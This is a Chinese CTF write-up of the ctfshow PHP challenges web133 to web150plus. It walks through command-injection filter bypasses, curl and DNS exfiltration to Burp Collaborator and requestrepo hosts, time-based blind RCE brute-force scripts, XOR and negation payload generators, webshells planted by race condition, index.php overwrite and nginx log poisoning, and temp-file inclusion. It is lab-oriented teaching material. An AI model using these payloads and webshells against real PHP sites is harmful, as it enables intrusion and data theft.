Ctfshow web入门 PHP特性篇 web89-web151 全(三)

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: Ctfshow web入门 PHP特性篇 web89-web151 全(三)

Ctfshow web入门 PHP特性篇 web89-web151 全(二):https://developer.aliyun.com/article/1585258

CTFshow PHP web133

hint:ctfshow web133和其他命令执行的骚操作_Firebasky的博客-CSDN博客

考点:命令执行的骚操作和curl -F的使用

@:防止报错

substr($F,0,6):截断得前六个字符

如果只能有6个字符的话,执行命令确实不可能。

看一个骚一点的例子: 确实sleep了

?F=`$F` ;sleep 3

不是说好6个字符吗?这么长这么还能执行?

分析一下

传入?F=`$F` ;sleep 3  //此时不被正则过滤,程序中$F=`$F` ;sleep 3
经过substr()函数截断,那行代码变成eval(`$F` ;);
之前说了,程序中$F=`$F` ;sleep 3
那行代码就是eval(`     `$F`;+sleep 3      `;);
所以执行了sleep 3


同理,我们可以构造

?F=`$F` ;ls /
?F=`$F` ;tac /f*


但是事实是,命令可以执行,但是没有回显。

无回显RCE,学个新姿势:利用curl去带出flag.php

打开Burp的 Collaborator Client

点击第一个,第二个用来刷新

剪贴板中多了一个nkbdydku0o5akpn25qepeqaii9o8cx.burpcollaborator.net

payload:

?F=`$F` ;curl -X POST -F xx=@flag.php  http://nkbdydku0o5akpn25qepeqaii9o8cx.burpcollaborator.net

//无换行
//其中-F 为带文件的形式发送post请求
//xx是上传文件的name值,flag.php就是上传的文件 

正常无回显做法

1、写入文件。经过测试没有写文件权限。
2、dnslog外带    平台打不开了,nnd,这个方法应该是可以的
3、http信道  【超级可行】
4、反弹shell  bash反弹       无效
5、反弹shell  利用平台        无效

http信道payload:

?F=`$F` ;curl http://f74d1j0x.requestrepo.com/?1=`cat flag.php|base64`

base64解码得

CTFshow PHP web134

$_SERVER['QUERY_STRING']:查询(query)的字符串

https://blog.csdn.net/qq_49480008/article/details/115872899

parse_str():将字符串解析成多个变量

extract():从数组中将变量导入到当前的符号表

payload:

?_POST[key1]=36d&_POST[key2]=36d

有点抽象,羽师傅的例子感觉比较好。

flag在源码里面。

CTFshow PHP web135

加强版web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

过滤拉满,之前的payload估计用不了了。

看了一下别的师傅的wp,全是围绕文件来写的。

?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt


确实可以,不错的姿势,学到了。

看web133官方wp评论区的时候,有个师傅的思路值得借鉴。

首先,直接访问flag.php是无法访问的。但是访问一些不存在的文件名比如asdasdssa.txt,却不会显示404,而是源码界面。

不知道为什么,用mv rename cp命令修改文件名,都没有达到预期效果。

还有一种思路就是用\ ' "绕过关键词过滤

?F=`$F` ;cu\rl http://f74d1j0x.requestrepo.com/?1=`t\ac /flag.php|ba\se64`

实际测试了一下,只有\可以绕过过滤。

同时,http信道,可以接收ls /、env等命令的结果,无法获得tac flag.php的结果,同时命令ls的回显中也没有flag.php,不知道出题人是用什么手段藏了flag.php

官方payload:

`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn


CTFshow PHP web136

又是大过滤,哈哈,我疯啦。

exec():执行一个外部程序,类似system()

对比一下过滤,我们能执行的命令有

ls
ls /
env
cat 
tac
nl
tee

tee命令:

tee file1.txt file2.txt //复制文件
ls|tee 1.txt //命令输出

payload:(命令执行结果就是在文件1和2里面啦)

?c=ls /|tee 1
?c=tac /f149_15_h3r3|tee 2


CTFshow PHP web137

题目描述:没有难度 //确实,没骗人

考点:考察调用类中的函数


我们最终目标是执行echo file_get_contents("flag.php");语句,就是调用cyfshow类中getFlag()方法。

php中 ->与:: 调用类中的成员的区别:

->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法

双冒号可以不用实例化类就可以直接调用类中的方法

payload:

ctfshow=ctfshow::getFlag        //POST


CTFshow PHP web138

题目描述:一丢丢难度

strripos():计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)

if(strripos($_POST['ctfshow'], ":")>-1):要求我们POST进来的ctfshow参数不包含符号:

call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。


payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

查看phpinfo();

ctfshow=phpinfo      //call_user_func('phpinfo');

CTFshow PHP web139

题目描述:BY YU22X 没变化吗?

这个应该是web136的改版,我们可以看见的源码应该是一样的。

在136的基础上限制了写文件的权限,这时候可以考虑用盲打的方式。这也是一种无回显RCE带出数据的办法!

awk命令:

用awk命令、cut命令截取字符
sleep命令确认是否正确

awk NR==n 获取第n行信息
cut -c n  截取第n个字符

zsh下if语句的格式:
if [命令] {
  command
} elif {
  .......
} else {
  .......
}

我们的payload:

if [ `ls /|awk 'NR==6'|cut -c 4` == V ];then sleep 3;fi

直接使用提示给的脚本。(略改了一点)

爆破根目录文件名脚本:

import requests
import time
import string

str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = ""          # 初始化一个空字符串,用于保存结果

#获取多少行
for i in range(1, 99):
    key = 0   #用于控制内层循环(j)的结束

    #不break的情况下,一行最多几个字符
    for j in range(1, 99):
        if key == 1:
            break
        for n in str:       #n就是一个一个的返回值
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符
            #print(payload)
            url = "http://69a7422b-3330-4a7a-993e-8600f18ef1b5.challenge.ctf.show?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。

            # 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
            except:
                result = result + n
                print(result)
                break
            if n == '~':    #str的最后一位,“~”不常出现,用作结尾
                key = 1
    # 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
    result += " "

获取flag文件内容的脚本:

import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
    for n in str:
        payload = "if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
        # print(payload)
        url = "http://69a7422b-3330-4a7a-993e-8600f18ef1b5.challenge.ctf.show?c=" + payload
        try:
            requests.get(url, timeout=(2.5, 2.5))
        except:
            result = result + n
            print(result)
            break
        if n=="~":
            result = result + "花括号"


(跑的时候别开梯子呜呜呜)

结果:

flag文件名:f149_15_h3r3

flag:ctfshow{6f1d1b8d-7f85-4d44-86b9-a11d937e0691}

CTFshow PHP web140

考点:==松散比较

小元砸师父一表速览

我们最终的目标是intval($code) == 'ctfshow'

intval()函数,若参数是非数字,则输出0intval('a')==0 intval('.')==0 intval('/')==0

根据上表,我们看得出0==‘ctfshow’

再倒推一步,我们使得return $f1($f2());返回0即可。

由此我们可以构造payload:

f1=intval&f2=intval


解释一下这个payload:此时原语句return $f1($f2());变为return intval(intval());既是return intval(0);值是0,所以c o d e = 0 ,满足 ‘ i n t v a l ( code=0,满足`intval(code=0,满足‘intval(code) == ‘ctfshow’`

f1=usleep&f2=usleep
f1=md5&f2=phpinfo
f1=md5&f2=sleep
f1=md5&f2=md5
f1=current&f2=localeconv
f1=sha1&f2=getcwd                    因为/var/www/html md5后开头的数字所以我们改用sha1

CTFshow PHP web141

满足preg_match('/^\W+$/', $v3)即v3没有数字、字母和下划线

PHP中,数字是可以和命令进行一些运算的,例如 1-phpinfo();、1-phpinfo()-1;是可以正常执行的。

v3的构造使用无字母数字RCE的取反构造来实现。

PHP脚本:

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

运行脚本,得到v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-

所以payload为:

?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1

经过测试,* / +(%2B,不编码会被当成空格) %都可以代替-

CTFshow PHP web142

sleep(0),沉睡0秒直接包含flag文件

payload:

?v1=0       //8进制
?v1=0x0   //16进制
?v1=0e666 //科学计数法

CTFshow PHP web143

题目描述:141的plus版本

可以看见,它把~过滤了,同时也过滤了减号、加号、取余号。

绕过方法:取反用异或代替,减号用乘或除代替。

异或脚本:

import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

生成xor_rce.txt的PHP脚本。(生成后放在python脚本同目录之下)

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

payload:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*


CTFshow PHP web144

题目描述:143的plus版本

做法同143

修改php脚本的时候需要注意一点

payload:

?v1=1&v3=-&v2=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%00"^"%7c%60%60%20%60%2a")


CTFshow PHP web145

题目描述:144的plus版本

可以看见,它没有把~过滤,回归取反。但是他把加减乘除取余都过滤了。

羽师傅的小测试:

eval("return 1?phpinfo():1;");

测试结果是可以执行。所以我们可以使用三目运算符

所以我们的目标是构建eval("return 1?tac f*:1;");

payload构造类似之前:

?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1     //三目运算符
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1     //也可以1|(xxx)|2

CTFshow PHP web146

题目描述:145的plus版本

过滤了:,不能用上一题的三目运算符payload了。但是可以用第二个。

payload:

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

//这个也可以
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||&v2=1       //1==(xxx)||1

CTFshow PHP web147

这题类似Code-Breaking Puzzles挑战赛中easy - functionCode Breaking 挑战赛 Writeup (seebug.org)

考点:create_function函数注入

/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]

/D如果使用$限制结尾字符,则不允许结尾有换行

对POST进去的ctf有过滤,对GET进去的show没有过滤。

正则匹配preg_match('/^[a-z0-9_]*$/isD',$ctfshow)表示匹配只有字母数字下划线的字符串。

如果我在$ctfshow前加一个符号,那么正则匹配返回false。

由于

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

所以在调用函数时,在前面加一个\并不影响函数的执行。

create_function()代码注入:

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

如果此时$a可控,我们使a=1;}phpinfo();//

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo 1;}phpinfo();//."123";
}

就是

function f($a) {
  echo 1;
}
phpinfo();

这个原理就类似于SQL注入了,主动闭合+注释多余内容。

payload:

?show=}system("tac f*");/*     //GET
ctf=\create_function           //POST

CTFshow PHP web148

题目描述:什么是变量?

过滤有点凶。但是没过滤^。

方法一:

那就不要疑惑,可以异或。直接CV正则表达式,生成字典跑脚本。

payload:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

方法二:

中文变量绕过

payload:

?code=$给特="%60%7B%7B%7B"%5E"?<>/";${$给特}[参数一](${$给特}[参数二]);&参数一=system&参数二=tac%20f*

//?code=$给特="{{{"^"?<>/";${$给特}[参数一](${$给特}[参数二]);&参数一=system&参数二=tac f*
//"{{{"^"?<>/"; 异或出来的结果是 _GET
//也可以    ${_GET}[哼](${_GET}[嗯]);&哼=call_user_func&嗯=get_ctfshow_fl0g

CTFshow PHP web149

题目描述:你写的快还是我删的快?

分析一下代码:

//ctf是被写入文件的文件名,show是写入的文件内容
file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');   // 获取当前目录下的文件和子目录列表
foreach($files as $file) {     //遍历当前目录下的所有文件和子目录列表
    if(is_file($file)){   // 如果是文件
        if ($file !== "index.php") {   // 如果文件名不是 "index.php"
            unlink($file);   // 删除文件
        }
    }
}


预期解:条件竞争

CV一个大师傅的py脚本

# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading

url = 'http://9366a64f-c8d9-47fb-a750-22543527dae3.challenge.ctf.show/'


def write():
    while event.isSet():
        data = {
            'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
        }
        requests.post(url=url+'?ctf=1.php', data=data)


def read():
    while event.isSet():
        response = requests.get(url + '1.php')
        if response.status_code != 404:
            print(response.text)
            event.clear()


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    for i in range(1, 100):
        threading.Thread(target=write).start()

    for i in range(1, 100):
        threading.Thread(target=read).start()

非预期:代码逻辑

既然他不删除index.php,并且我们也可以往index.php里面写内容。

那我们就狠狠入index.php

payload:

?ctf=index.php     //GET
show=<?php eval($_POST[hack]);?>       //POST

CTFshow PHP web150

题目描述:对我们以前的内容进行了小结,我们文件上传系列再见!

<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;   // 私有成员变量 $secret,存储 flag

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;       // 在对象销毁时输出 $secret
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}

$ctf = $_POST['ctf'];
extract($_GET);

if(class_exists($__CTFSHOW__)){   // 如果指定类(CTFSHOW)存在,则输出提示信息
    echo "class is exists!";
}

// 如果 $isVIP 为真且 ctf 字符串中不包含冒号
if($isVIP && strrpos($ctf, ":")===FALSE){  
    include($ctf);
}

我们最后一步肯定是include($ctf);包含文件。那个CTFSHOW类貌似做到最后也没有用上。


方法:日志包含


WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。


日志文件路径:

apache一般是/var/log/apache/access.log。
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log。

题目是nginx

步骤一:

先抓包,修改UA头,发包,把恶意代码写入日志文件。

UA头:<?php eval($_POST[jay]);?>

步骤二:

包含日志文件,进行RCE

?isVIP=true                                         //GET
ctf=/var/log/nginx/access.log&jay=system("tac flag.php");   //POST

session文件包含貌似也是可以的,这里不赘述了。

CTFshow PHP web150Plus

源码和之前差不多,改变的只有多对ctf过滤了log使我们不能日志包含

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

session文件包含可以继续打。


临时文件包含也行(在文末补充,这里不占用篇幅了)

exp :https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py


预期解:


这个题一点点小坑

__autoload()这个函数并不属于CTFSHOW这个类的,全局都可以用。在定义这个函数后,尝试使用不存在的类的时候会自动加载。


**class_exists()**同样会触发__autoload()函数【存疑】


根据web123:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。


使用?..CTFSHOW…=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性


最后构造?..CTFSHOW…=phpinfo就可以通过extract()函数实现变量覆盖($__CTFSHOW__=phpinfo),之后利用__autoload()函数,加载phpinfo,那就可以看到phpinfo信息啦

原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用

__autoload()函数方法,去加载$__CTFSHOW__,因为等于$__CTFSHOW__phpinfo就会去加载phpinfo

payload:

?..CTFSHOW..=phpinfo

临时文件包含补充:

临时文件包含

我们知道,PHP强制上传文件会储存到/tmp/phpxxxxxx

文件包含,能否包含一个 /???/???[@-[]]

答案是:不行 文件包含,不支持通配符 !


我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去

默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除


突破点:

1 在php脚本运行过程中,包含临时文件

2 在脚本运行过程中,得到完整的临时文件名称


假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name元素存储临时文件名字,读取后可以成功包含


验证原理步骤:

1.先准备upload.html脚本,部署在自己的vps上面

2.phpinfo.php中有语句phpinfo(); include $_FILES['file'][tmp_name];

3.upload.html脚本强制上传文件到phpinfo.php

4.自动跳转到什么什么/phpinfo.php

5.因为脚本执行时,有临时文件,同时又phpinfo();了,所以phpinfo中又临时文件(内容为上传的文件)路径,在$_FILES['file']==>[tmp_name]中

6.由于include $_FILES['file'][tmp_name]; 语句,临时文件被包含,其中的恶意代码被执行,实现了RCE。


但是现实中不会出现语句include $_FILES['file'][tmp_name]; 我们不知道临时文件的名字。

php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的

一次发4096个字符,没凑够4096个字符不发送。

如果不断往phpinfo界面填充数据,使其不断增大,超过4096时,就会把数据分开来一段一段返回,

这时候就去找他的[tmp_name],找到了就马上包含。因为一直在发送字节,所以脚本不算执行完毕

临时文件还存在,能包含。这就是原理

upload.html:

<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>
  1. a-zA-Z ↩︎


相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
8天前
|
前端开发
【前端web入门第四天】02 CSS三大特性+背景图
本文详细介绍了CSS的三大特性:继承性、层叠性和优先级,并深入讲解了背景图的相关属性,包括背景属性、背景图的平铺方式、位置设定、缩放、固定以及复合属性。其中,继承性指子元素自动继承父元素的文字控制属性;层叠性指相同属性后定义覆盖前定义,不同属性可叠加;优先级涉及选择器权重,包括行内样式、ID选择器等。背景图部分则通过具体示例展示了如何设置背景图像的位置、大小及固定方式等。
235 91
|
8天前
|
前端开发
【前端web入门第四天】01 复合选择器与伪类选择器
本文档详细介绍了CSS中的复合选择器与伪类选择器。复合选择器包括后代选择器、子代选择器、并集选择器和交集选择器,能够更精确地定位和样式化元素。后代选择器用于选中某元素的所有后代,子代选择器仅选中直接子元素。并集选择器可为多个标签设置相同样式,而交集选择器则选中同时满足多个条件的元素。此外,还介绍了伪类选择器,如鼠标悬停效果和超链接的不同状态。
45 32
【前端web入门第四天】01 复合选择器与伪类选择器
|
8天前
|
前端开发 数据安全/隐私保护
【前端web入门第二天】03 表单-下拉菜单 文本域 label标签 按钮 【附注册信息综合案例】
本文档详细介绍了HTML表单的多种元素及其用法,包括下拉菜单(`&lt;select&gt;` 和 `&lt;option&gt;`)、文本域(`&lt;textarea&gt;`)、标签解释(`&lt;label&gt;`)、各类按钮(`&lt;button&gt;`)及表单重置功能、无语义布局标签(`&lt;div&gt;` 和 `&lt;span&gt;`)以及字符实体的应用。此外,还提供了一个完整的注册信息表单案例,涵盖个人信息、教育经历和工作经历等部分,展示了如何综合运用上述元素构建实用的表单。
【前端web入门第二天】03 表单-下拉菜单 文本域 label标签 按钮 【附注册信息综合案例】
|
8天前
|
前端开发
【前端web入门第三天】02 CSS字体和文本
本文详细介绍了CSS中字体和文本的相关属性。字体部分涵盖字体大小、粗细、样式、行高、字体族及`font`复合属性,通过具体示例展示了如何设置和使用这些属性。文本部分则讲解了文本缩进、对齐方式、修饰线及文字颜色等属性,并提供了实用的代码示例。此外,还简要介绍了调试工具中的一些细节,如错误属性标识和属性生效状态的控制。
40 28
|
8天前
|
前端开发 JavaScript
【前端web入门第三天】01 css定义和引入方式 四种标签选择器
本文档详细介绍了CSS的基础知识及其应用。内容涵盖了CSS的定义、CSS在HTML中的引入方式,包括内部样式表、外部样式表及行内样式表的使用场景与方法。此外,还深入解析了不同种类的选择器:标签选择器、类选择器、ID选择器以及通配符选择器的功能与应用场景,并提供了实例帮助理解。最后,通过具体的新属性示例,指导如何使用这些选择器来实现基本的盒子绘制。适合初学者系统学习CSS。
29 15
|
1天前
|
PHP 开发者
PHP 7新特性深度解析与实践应用
【9月更文挑战第17天】本文将深入探讨PHP 7的新特性及其对开发者的实际影响,同时通过实例演示如何有效利用这些特性优化代码和提高性能。我们将从类型声明的增强开始,逐步深入到其他关键改进点,最后通过一个综合案例展示如何将这些新特性应用于日常开发中。
|
7天前
|
前端开发
【前端web入门第五天】03 清除默认样式与外边距问题【附综合案例产品卡片与新闻列表】
本文档详细介绍了CSS中清除默认样式的方法,包括清除内外边距、列表项目符号等;探讨了外边距的合并与塌陷问题及其解决策略;讲解了行内元素垂直边距的处理技巧;并介绍了圆角与盒子阴影效果的实现方法。最后通过产品卡片和新闻列表两个综合案例,展示了所学知识的实际应用。
22 11
|
7天前
|
前端开发
|
7天前
|
弹性计算 前端开发 容器
【前端web入门第六天】02 flex布局
Flex布局是一种现代CSS布局模式,通过给父元素设置`display: flex`,其子元素可自动挤压或拉伸。它包含弹性容器和弹性盒子,主轴默认为水平方向,侧轴为垂直方向。主轴对齐方式由`justify-content`属性控制,侧轴对齐方式包括`align-items`(针对所有子元素)和`align-self`(针对单个子元素)。修改主轴方向使用`flex-direction`属性,`flex`属性用于控制子元素在主轴上的伸缩比例。此外,`flex-wrap`属性允许子元素换行,而`align-content`属性则定义多行对齐方式。
|
7天前
|
前端开发
【前端web入门第五天】01 结构伪类选择器与伪元素选择器
本文介绍了CSS中的结构伪类选择器和伪元素选择器。结构伪类选择器如`nth-child`可根据元素结构关系进行选择,例如将列表中首个`&lt;li&gt;`元素背景设为绿色。伪元素选择器用于创建装饰性内容。